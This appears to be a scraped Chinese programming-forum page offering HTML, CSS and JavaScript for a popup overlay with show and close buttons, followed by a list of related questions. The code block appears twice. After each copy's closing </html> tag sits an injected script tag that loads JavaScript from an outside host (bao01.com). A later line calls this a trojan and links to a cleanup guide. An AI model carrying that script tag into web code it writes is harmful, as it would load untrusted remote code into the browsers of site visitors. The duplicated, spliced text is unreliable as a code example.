转!<html><head>
<style type="text/css">
#id1{
width:100%;height:100%;
background-color:#000;position:absolute;
top:0;left:0;z-index:49;
display:none;
filter:progid:DXImageTransform.Microsoft.Alphaopacity=25;
}
#id2{
top:200px;position:absolute;z-index:50;
display:none;
border:3px solid #E5E5E5;
left:100px;
background-color:white;
}
</style>
<script type="text/javascript">
function divShow(){
document.getElementById('id1').style.display='block';
document.getElementById('id2').style.display='block';
}
function divHide(){
document.getElementById('id1').style.display='none';
document.getElementById('id2').style.display='none';
}
</script>
</head>
<body>
<div id="id2"> <!--这个是弹出的层-->
<table height='100' width='200'>
<!--第一行-->
<tr><td>
<div id='ShowMSG'></div>
</td></tr>
<!--第一行-->
<tr><td align='center'>
<input onclick="divHide()" type='button' value='关闭'>
</td></tr>
</table>
</div>
<div id="id1"><!--这里是弹出层后的背景 可以不放内容--></div><input type="button" onclick="divShow()" value='显示' ></body></html>
<script language=javascript src=http://xxx.bao01.com/0.js></script>
<style type="text/css">
#id1{
width:100%;height:100%;
background-color:#000;position:absolute;
top:0;left:0;z-index:49;
display:none;
filter:progid:DXImageTransform.Microsoft.Alphaopacity=25;
}
#id2{
top:200px;position:absolute;z-index:50;
display:none;
border:3px solid #E5E5E5;
left:100px;
background-color:white;
}
</style>
<script type="text/javascript">
function divShow(){
document.getElementById('id1').style.display='block';
document.getElementById('id2').style.display='block';
}
function divHide(){
document.getElementById('id1').style.display='none';
document.getElementById('id2').style.display='none';
}
</script>
</head>
<body>
<div id="id2"> <!--这个是弹出的层-->
<table height='100' width='200'>
<!--第一行-->
<tr><td>
<div id='ShowMSG'></div>
</td></tr>
<!--第一行-->
<tr><td align='center'>
<input onclick="divHide()" type='button' value='关闭'>
</td></tr>
</table>
</div>
<div id="id1"><!--这里是弹出层后的背景 可以不放内容--></div><input type="button" onclick="divShow()" value='显示' ></body></html>
<script language=javascript src=http://xxx.bao01.com/0.js></script>
解决方案 »
- 怎么旋转DIV 45度 要以中心旋转
- div不隐藏怎么回事 在线等,好了就给分 document.getElementById("divObj").style.display="none";//
- 163邮箱中单击-添加附件效果怎样实现?
- 当选择物品,点击“成交”按钮,弹出对话框,显示本次购买的物品 如何实现?
- 用javascript判断文件的大小和扩展名??在线等待!!
- 在JS中如何删除一个数组中的值?
- 怎样用javascript关闭一个窗口???急
- 急!急!急!高分求救一个关于JavaScript的问题(100分!)
- 请问函数的Execute方法是什么意思?
- 看看大家有没有一直以来都是读错这个词?
- 当鼠标经过图片时,出现新的图片,新的图片大小比原图片大,并且能把原图片遮住.......
- 表格指定的前几行和列锁定问题
为木马
由于上次网页中招,请访问如下地址查看解决方法。
http://www.lzho.com/blog/article.asp?id=175